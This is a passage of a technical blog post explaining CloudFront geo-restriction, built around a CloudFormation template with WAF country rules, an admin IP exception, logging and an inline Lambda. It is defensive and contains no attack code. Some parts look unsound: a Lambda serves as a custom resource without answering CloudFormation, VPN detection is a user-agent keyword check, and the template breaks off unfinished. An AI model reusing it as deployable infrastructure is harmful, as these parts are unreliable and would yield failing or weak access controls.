</ul>

<h2 id="aws-cloudfront-geographic-access-control-architecture">AWS CloudFront Geographic Access Control Architecture</h2>

<h3 id="understanding-cloudfront-geo-restriction">Understanding CloudFront Geo-Restriction</h3>

<p>AWS CloudFront provides two primary mechanisms for geographic access control:</p>

<ol>
  <li><strong>CloudFront Geo-Restriction</strong>: Native feature that blocks/allows entire distributions based on country codes</li>
  <li><strong>AWS WAF Geo-Matching</strong>: Advanced rule-based filtering with granular control and exception handling</li>
</ol>

<p><img src="/assets/img/diagrams/cloudfront-geographic-access-control.png" alt="CloudFront Geographic Access Control Architecture" class="shadow" w="800" />
<em>CloudFront geographic access control flow with WAF geo-matching and threat intelligence integration</em></p>

<h3 id="core-components-architecture">Core Components Architecture</h3>

<p><strong>CloudFront Distribution</strong>: Global CDN with built-in geo-restriction capabilities
<strong>AWS WAF Web ACL</strong>: Advanced geographic filtering with custom rules and exceptions
<strong>Lambda@Edge</strong>: Custom logic for complex geographic decisions
<strong>CloudWatch</strong>: Monitoring and alerting for geographic access patterns
<strong>AWS Config</strong>: Compliance monitoring for geographic access policies</p>

<h2 id="complete-geographic-access-control-implementation">Complete Geographic Access Control Implementation</h2>

<h3 id="multi-layered-cloudformation-template">Multi-Layered CloudFormation Template</h3>

<p>This comprehensive template implements both CloudFront geo-restriction and AWS WAF geographic controls:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
</pre></td><td class="rouge-code"><pre><span class="na">AWSTemplateFormatVersion</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2010-09-09'</span>
<span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">AWS</span><span class="nv"> </span><span class="s">CloudFront</span><span class="nv"> </span><span class="s">Geographic</span><span class="nv"> </span><span class="s">Access</span><span class="nv"> </span><span class="s">Control</span><span class="nv"> </span><span class="s">with</span><span class="nv"> </span><span class="s">WAF</span><span class="nv"> </span><span class="s">Integration'</span>

<span class="na">Parameters</span><span class="pi">:</span>
  <span class="na">ApplicationName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name of the application for resource naming</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">geo-secure-app'</span>
    
  <span class="na">OriginDomainName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Origin server domain name</span>
    
  <span class="na">AllowedCountries</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">CommaDelimitedList</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">List of allowed country codes (ISO 3166-1 alpha-2)</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">US,CA,GB,AU,DE,FR,JP'</span>
    
  <span class="na">BlockedCountries</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">CommaDelimitedList</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">List of specifically blocked country codes</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">CN,RU,KP,IR'</span>
    
  <span class="na">ComplianceRegion</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Primary compliance region</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">US'</span>
    <span class="na">AllowedValues</span><span class="pi">:</span> <span class="pi">[</span><span class="s1">'</span><span class="s">US'</span><span class="pi">,</span> <span class="s1">'</span><span class="s">EU'</span><span class="pi">,</span> <span class="s1">'</span><span class="s">APAC'</span><span class="pi">,</span> <span class="s1">'</span><span class="s">GLOBAL'</span><span class="pi">]</span>
    
  <span class="na">GeoBlockingMode</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Geographic blocking strategy</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s1">'</span><span class="s">WHITELIST'</span>
    <span class="na">AllowedValues</span><span class="pi">:</span> <span class="pi">[</span><span class="s1">'</span><span class="s">WHITELIST'</span><span class="pi">,</span> <span class="s1">'</span><span class="s">BLACKLIST'</span><span class="pi">,</span> <span class="s1">'</span><span class="s">HYBRID'</span><span class="pi">]</span>

<span class="na">Conditions</span><span class="pi">:</span>
  <span class="na">IsWhitelistMode</span><span class="pi">:</span> <span class="kt">!Equals</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">GeoBlockingMode</span><span class="pi">,</span> <span class="s1">'</span><span class="s">WHITELIST'</span><span class="pi">]</span>
  <span class="na">IsBlacklistMode</span><span class="pi">:</span> <span class="kt">!Equals</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">GeoBlockingMode</span><span class="pi">,</span> <span class="s1">'</span><span class="s">BLACKLIST'</span><span class="pi">]</span>
  <span class="na">IsHybridMode</span><span class="pi">:</span> <span class="kt">!Equals</span> <span class="pi">[</span><span class="kt">!Ref</span> <span class="nv">GeoBlockingMode</span><span class="pi">,</span> <span class="s1">'</span><span class="s">HYBRID'</span><span class="pi">]</span>

<span class="na">Resources</span><span class="pi">:</span>
  <span class="c1"># AWS WAF Web ACL with Advanced Geographic Controls</span>
  <span class="na">GeographicWebACL</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::WAFv2::WebACL</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-waf-acl'</span>
      <span class="na">Scope</span><span class="pi">:</span> <span class="s">CLOUDFRONT</span>
      <span class="na">DefaultAction</span><span class="pi">:</span>
        <span class="na">Allow</span><span class="pi">:</span> <span class="pi">{}</span>
      <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Advanced</span><span class="nv"> </span><span class="s">geographic</span><span class="nv"> </span><span class="s">access</span><span class="nv"> </span><span class="s">control</span><span class="nv"> </span><span class="s">with</span><span class="nv"> </span><span class="s">compliance</span><span class="nv"> </span><span class="s">features'</span>
      
      <span class="na">Rules</span><span class="pi">:</span>
        <span class="c1"># 1. Whitelist Mode - Allow only specific countries</span>
        <span class="pi">-</span> <span class="kt">!If</span>
          <span class="pi">-</span> <span class="s">IsWhitelistMode</span>
          <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">AllowedCountriesRule</span>
            <span class="na">Priority</span><span class="pi">:</span> <span class="m">1</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="na">GeoMatchStatement</span><span class="pi">:</span>
                <span class="na">CountryCodes</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AllowedCountries</span>
            <span class="na">Action</span><span class="pi">:</span>
              <span class="na">Allow</span><span class="pi">:</span> <span class="pi">{}</span>
            <span class="na">VisibilityConfig</span><span class="pi">:</span>
              <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
              <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
              <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-allowed-countries'</span>
          <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s1">'</span><span class="s">AWS::NoValue'</span>
              
        <span class="c1"># 2. Blacklist Mode - Block specific countries</span>
        <span class="pi">-</span> <span class="kt">!If</span>
          <span class="pi">-</span> <span class="s">IsBlacklistMode</span>
          <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BlockedCountriesRule</span>
            <span class="na">Priority</span><span class="pi">:</span> <span class="m">2</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="na">GeoMatchStatement</span><span class="pi">:</span>
                <span class="na">CountryCodes</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">BlockedCountries</span>
            <span class="na">Action</span><span class="pi">:</span>
              <span class="na">Block</span><span class="pi">:</span>
                <span class="na">CustomResponse</span><span class="pi">:</span>
                  <span class="na">ResponseCode</span><span class="pi">:</span> <span class="m">403</span>
                  <span class="na">CustomResponseBodyKey</span><span class="pi">:</span> <span class="s1">'</span><span class="s">geo-blocked-response'</span>
            <span class="na">VisibilityConfig</span><span class="pi">:</span>
              <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
              <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
              <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-blocked-countries'</span>
          <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s1">'</span><span class="s">AWS::NoValue'</span>
              
        <span class="c1"># 3. Admin Access Exception (bypass geo-blocking for admin IPs)</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">AdminAccessException</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">3</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">IPSetReferenceStatement</span><span class="pi">:</span>
              <span class="na">Arn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">AdminIPSet.Arn</span>
          <span class="na">Action</span><span class="pi">:</span>
            <span class="na">Allow</span><span class="pi">:</span> <span class="pi">{}</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-admin-exception'</span>
            
        <span class="c1"># 4. API Endpoint Geographic Control</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">APIGeographicControl</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">4</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">AndStatement</span><span class="pi">:</span>
              <span class="na">Statements</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">ByteMatchStatement</span><span class="pi">:</span>
                    <span class="na">SearchString</span><span class="pi">:</span> <span class="s1">'</span><span class="s">/api/'</span>
                    <span class="na">FieldToMatch</span><span class="pi">:</span>
                      <span class="na">UriPath</span><span class="pi">:</span> <span class="pi">{}</span>
                    <span class="na">TextTransformations</span><span class="pi">:</span>
                      <span class="pi">-</span> <span class="na">Priority</span><span class="pi">:</span> <span class="m">1</span>
                        <span class="na">Type</span><span class="pi">:</span> <span class="s">LOWERCASE</span>
                    <span class="na">PositionalConstraint</span><span class="pi">:</span> <span class="s">STARTS_WITH</span>
                <span class="pi">-</span> <span class="na">NotStatement</span><span class="pi">:</span>
                    <span class="na">Statement</span><span class="pi">:</span>
                      <span class="na">GeoMatchStatement</span><span class="pi">:</span>
                        <span class="na">CountryCodes</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AllowedCountries</span>
          <span class="na">Action</span><span class="pi">:</span>
            <span class="na">Block</span><span class="pi">:</span>
              <span class="na">CustomResponse</span><span class="pi">:</span>
                <span class="na">ResponseCode</span><span class="pi">:</span> <span class="m">403</span>
                <span class="na">CustomResponseBodyKey</span><span class="pi">:</span> <span class="s1">'</span><span class="s">api-geo-blocked-response'</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-api-geo-control'</span>
            
        <span class="c1"># 5. Compliance Monitoring Rule</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">ComplianceMonitoringRule</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">5</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">NotStatement</span><span class="pi">:</span>
              <span class="na">Statement</span><span class="pi">:</span>
                <span class="na">GeoMatchStatement</span><span class="pi">:</span>
                  <span class="na">CountryCodes</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AllowedCountries</span>
          <span class="na">Action</span><span class="pi">:</span>
            <span class="na">Count</span><span class="pi">:</span> <span class="pi">{}</span>  <span class="c1"># Log for compliance monitoring without blocking</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-compliance-monitor'</span>

      <span class="c1"># Custom Response Bodies</span>
      <span class="na">CustomResponseBodies</span><span class="pi">:</span>
        <span class="na">geo-blocked-response</span><span class="pi">:</span>
          <span class="na">ContentType</span><span class="pi">:</span> <span class="s">APPLICATION_JSON</span>
          <span class="na">Content</span><span class="pi">:</span> <span class="pi">|</span>
            <span class="s">{</span>
              <span class="s">"error": "Access Denied",</span>
              <span class="s">"message": "Access from your geographic location is not permitted.",</span>
              <span class="s">"code": "GEO_RESTRICTED",</span>
              <span class="s">"support": "contact-support@example.com"</span>
            <span class="s">}</span>
        <span class="na">api-geo-blocked-response</span><span class="pi">:</span>
          <span class="na">ContentType</span><span class="pi">:</span> <span class="s">APPLICATION_JSON</span>
          <span class="na">Content</span><span class="pi">:</span> <span class="pi">|</span>
            <span class="s">{</span>
              <span class="s">"error": "API Access Denied", </span>
              <span class="s">"message": "API access from your geographic location is restricted.",</span>
              <span class="s">"code": "API_GEO_RESTRICTED",</span>
              <span class="s">"documentation": "https://docs.example.com/api/geographic-restrictions"</span>
            <span class="s">}</span>

      <span class="na">VisibilityConfig</span><span class="pi">:</span>
        <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-waf-acl'</span>

  <span class="c1"># IP Set for Admin Access Exceptions</span>
  <span class="na">AdminIPSet</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::WAFv2::IPSet</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-admin-ip-set'</span>
      <span class="na">Scope</span><span class="pi">:</span> <span class="s">CLOUDFRONT</span>
      <span class="na">IPAddressVersion</span><span class="pi">:</span> <span class="s">IPV4</span>
      <span class="na">Addresses</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s1">'</span><span class="s">203.0.113.0/24'</span>  <span class="c1"># Replace with actual admin IP ranges</span>
        <span class="pi">-</span> <span class="s1">'</span><span class="s">198.51.100.0/24'</span>
      <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Admin</span><span class="nv"> </span><span class="s">IP</span><span class="nv"> </span><span class="s">addresses</span><span class="nv"> </span><span class="s">exempt</span><span class="nv"> </span><span class="s">from</span><span class="nv"> </span><span class="s">geographic</span><span class="nv"> </span><span class="s">restrictions'</span>

  <span class="c1"># CloudFront Distribution with Geo-Restriction</span>
  <span class="na">GeographicCloudFrontDistribution</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudFront::Distribution</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">DistributionConfig</span><span class="pi">:</span>
        <span class="na">Enabled</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">Comment</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">Geographic</span><span class="nv"> </span><span class="s">access</span><span class="nv"> </span><span class="s">control</span><span class="nv"> </span><span class="s">distribution</span><span class="nv"> </span><span class="s">for</span><span class="nv"> </span><span class="s">${ApplicationName}'</span>
        
        <span class="c1"># Associate WAF Web ACL</span>
        <span class="na">WebACLId</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeographicWebACL.Arn</span>
        
        <span class="c1"># Origins Configuration</span>
        <span class="na">Origins</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Id</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-primary-origin'</span>
            <span class="na">DomainName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">OriginDomainName</span>
            <span class="na">CustomOriginConfig</span><span class="pi">:</span>
              <span class="na">HTTPPort</span><span class="pi">:</span> <span class="m">80</span>
              <span class="na">HTTPSPort</span><span class="pi">:</span> <span class="m">443</span>
              <span class="na">OriginProtocolPolicy</span><span class="pi">:</span> <span class="s">https-only</span>
              <span class="na">OriginSSLProtocols</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">TLSv1.2</span>
                <span class="pi">-</span> <span class="s">TLSv1.3</span>
        
        <span class="c1"># Default Cache Behavior</span>
        <span class="na">DefaultCacheBehavior</span><span class="pi">:</span>
          <span class="na">TargetOriginId</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-primary-origin'</span>
          <span class="na">ViewerProtocolPolicy</span><span class="pi">:</span> <span class="s">redirect-to-https</span>
          <span class="na">AllowedMethods</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">GET</span>
            <span class="pi">-</span> <span class="s">HEAD</span>
            <span class="pi">-</span> <span class="s">OPTIONS</span>
            <span class="pi">-</span> <span class="s">PUT</span>
            <span class="pi">-</span> <span class="s">POST</span>
            <span class="pi">-</span> <span class="s">PATCH</span>
            <span class="pi">-</span> <span class="s">DELETE</span>
          <span class="na">CachedMethods</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">GET</span>
            <span class="pi">-</span> <span class="s">HEAD</span>
          <span class="na">Compress</span><span class="pi">:</span> <span class="kc">true</span>
          
          <span class="c1"># Cache Policy for Geographic Content</span>
          <span class="na">CachePolicyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">GeographicCachePolicy</span>
          <span class="na">OriginRequestPolicyId</span><span class="pi">:</span> <span class="s">88a5eaf4-2fd4-4709-b370-b4c650ea3fcf</span>  <span class="c1"># CORS-S3Origin</span>
          
        <span class="c1"># Native CloudFront Geo-Restriction (Backup Layer)</span>
        <span class="na">Restrictions</span><span class="pi">:</span>
          <span class="na">GeoRestriction</span><span class="pi">:</span> <span class="kt">!If</span>
            <span class="pi">-</span> <span class="s">IsWhitelistMode</span>
            <span class="pi">-</span> <span class="na">RestrictionType</span><span class="pi">:</span> <span class="s">whitelist</span>
              <span class="na">Locations</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AllowedCountries</span>
            <span class="pi">-</span> <span class="kt">!If</span>
              <span class="pi">-</span> <span class="s">IsBlacklistMode</span>  
              <span class="pi">-</span> <span class="na">RestrictionType</span><span class="pi">:</span> <span class="s">blacklist</span>
                <span class="na">Locations</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">BlockedCountries</span>
              <span class="pi">-</span> <span class="na">RestrictionType</span><span class="pi">:</span> <span class="s">none</span>
        
        <span class="c1"># SSL Configuration</span>
        <span class="na">ViewerCertificate</span><span class="pi">:</span>
          <span class="na">AcmCertificateArn</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SSLCertificate</span>
          <span class="na">SslSupportMethod</span><span class="pi">:</span> <span class="s">sni-only</span>
          <span class="na">MinimumProtocolVersion</span><span class="pi">:</span> <span class="s">TLSv1.2_2021</span>
          
        <span class="c1"># Global Distribution</span>
        <span class="na">PriceClass</span><span class="pi">:</span> <span class="s">PriceClass_All</span>
        
        <span class="c1"># Logging Configuration</span>
        <span class="na">Logging</span><span class="pi">:</span>
          <span class="na">Bucket</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeoLoggingBucket.DomainName</span>
          <span class="na">Prefix</span><span class="pi">:</span> <span class="s1">'</span><span class="s">cloudfront-geo-logs/'</span>
          <span class="na">IncludeCookies</span><span class="pi">:</span> <span class="kc">true</span>  <span class="c1"># Include cookies for geographic analysis</span>

  <span class="c1"># Geographic Cache Policy</span>
  <span class="na">GeographicCachePolicy</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudFront::CachePolicy</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">CachePolicyConfig</span><span class="pi">:</span>
        <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-cache-policy'</span>
        <span class="na">DefaultTTL</span><span class="pi">:</span> <span class="m">86400</span>
        <span class="na">MaxTTL</span><span class="pi">:</span> <span class="m">31536000</span>
        <span class="na">MinTTL</span><span class="pi">:</span> <span class="m">0</span>
        <span class="na">ParametersInCacheKeyAndForwardedToOrigin</span><span class="pi">:</span>
          <span class="na">EnableAcceptEncodingBrotli</span><span class="pi">:</span> <span class="kc">true</span>
          <span class="na">EnableAcceptEncodingGzip</span><span class="pi">:</span> <span class="kc">true</span>
          <span class="na">QueryStringsConfig</span><span class="pi">:</span>
            <span class="na">QueryStringBehavior</span><span class="pi">:</span> <span class="s">none</span>
          <span class="na">HeadersConfig</span><span class="pi">:</span>
            <span class="na">HeaderBehavior</span><span class="pi">:</span> <span class="s">whitelist</span>
            <span class="na">Headers</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="s">CloudFront-Viewer-Country</span>
              <span class="pi">-</span> <span class="s">CloudFront-Viewer-Country-Region</span>
              <span class="pi">-</span> <span class="s">Accept-Language</span>
          <span class="na">CookiesConfig</span><span class="pi">:</span>
            <span class="na">CookieBehavior</span><span class="pi">:</span> <span class="s">none</span>

  <span class="c1"># S3 Bucket for Geographic Logs</span>
  <span class="na">GeoLoggingBucket</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::S3::Bucket</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">BucketName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-logs-${AWS::AccountId}-${AWS::Region}'</span>
      <span class="na">PublicAccessBlockConfiguration</span><span class="pi">:</span>
        <span class="na">BlockPublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">BlockPublicPolicy</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">IgnorePublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">RestrictPublicBuckets</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">BucketEncryption</span><span class="pi">:</span>
        <span class="na">ServerSideEncryptionConfiguration</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">ServerSideEncryptionByDefault</span><span class="pi">:</span>
              <span class="na">SSEAlgorithm</span><span class="pi">:</span> <span class="s">AES256</span>
      <span class="na">LifecycleConfiguration</span><span class="pi">:</span>
        <span class="na">Rules</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Id</span><span class="pi">:</span> <span class="s">ArchiveOldLogs</span>
            <span class="na">Status</span><span class="pi">:</span> <span class="s">Enabled</span>
            <span class="na">Transitions</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">TransitionInDays</span><span class="pi">:</span> <span class="m">30</span>
                <span class="na">StorageClass</span><span class="pi">:</span> <span class="s">STANDARD_IA</span>
              <span class="pi">-</span> <span class="na">TransitionInDays</span><span class="pi">:</span> <span class="m">90</span>
                <span class="na">StorageClass</span><span class="pi">:</span> <span class="s">GLACIER</span>
            <span class="na">ExpirationInDays</span><span class="pi">:</span> <span class="m">2555</span>  <span class="c1"># 7 years for compliance</span>

  <span class="c1"># Lambda@Edge for Advanced Geographic Logic</span>
  <span class="na">AdvancedGeographicFunction</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudFormation::CustomResource</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">ServiceToken</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeographicLambdaDeployment.Arn</span>
      
  <span class="na">GeographicLambdaDeployment</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Function</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-advanced-geographic-logic'</span>
      <span class="na">Runtime</span><span class="pi">:</span> <span class="s">python3.12</span>
      <span class="na">Handler</span><span class="pi">:</span> <span class="s">index.lambda_handler</span>
      <span class="na">Role</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeographicLambdaRole.Arn</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">ZipFile</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">import json</span>
          <span class="s">import re</span>
          
          <span class="s">def lambda_handler(event, context):</span>
              <span class="s">"""</span>
              <span class="s">Advanced geographic logic for CloudFront requests</span>
              <span class="s">"""</span>
              <span class="s">request = event['Records'][0]['cf']['request']</span>
              <span class="s">headers = request['headers']</span>
          <span class="no">    </span>
              <span class="s"># Extract geographic information</span>
              <span class="s">country = headers.get('cloudfront-viewer-country', [{}])[0].get('value', '')</span>
              <span class="s">region = headers.get('cloudfront-viewer-country-region', [{}])[0].get('value', '')</span>
          <span class="no">    </span>
              <span class="s"># Business hours restriction by geography</span>
              <span class="s">if country in ['US', 'CA']:</span>
                  <span class="s"># Additional logic for business hours restrictions</span>
                  <span class="s">import datetime</span>
                  <span class="s">current_hour = datetime.datetime.utcnow().hour</span>
                  <span class="s">if current_hour &lt; 6 or current_hour &gt; 22:  # Outside business hours</span>
                      <span class="s">return {</span>
                          <span class="s">'status': '403',</span>
                          <span class="s">'statusDescription': 'Forbidden',</span>
                          <span class="s">'body': 'Access restricted outside business hours'</span>
                      <span class="s">}</span>
          <span class="no">    </span>
              <span class="s"># VPN/Proxy detection enhancement</span>
              <span class="s">user_agent = headers.get('user-agent', [{}])[0].get('value', '')</span>
              <span class="s">if 'VPN' in user_agent or 'Proxy' in user_agent:</span>
                  <span class="s"># Additional verification required</span>
                  <span class="s">request['headers']['x-geo-verification-required'] = [{'key': 'X-Geo-Verification-Required', 'value': 'true'}]</span>
          <span class="no">    </span>
              <span class="s">return request</span>

  <span class="na">GeographicLambdaRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="s">lambda.amazonaws.com</span>
                <span class="pi">-</span> <span class="s">edgelambda.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole</span>

  <span class="c1"># SSL Certificate (assume pre-existing or create separately)</span>
  <span class="na">SSLCertificate</span><span class="pi">:</span>
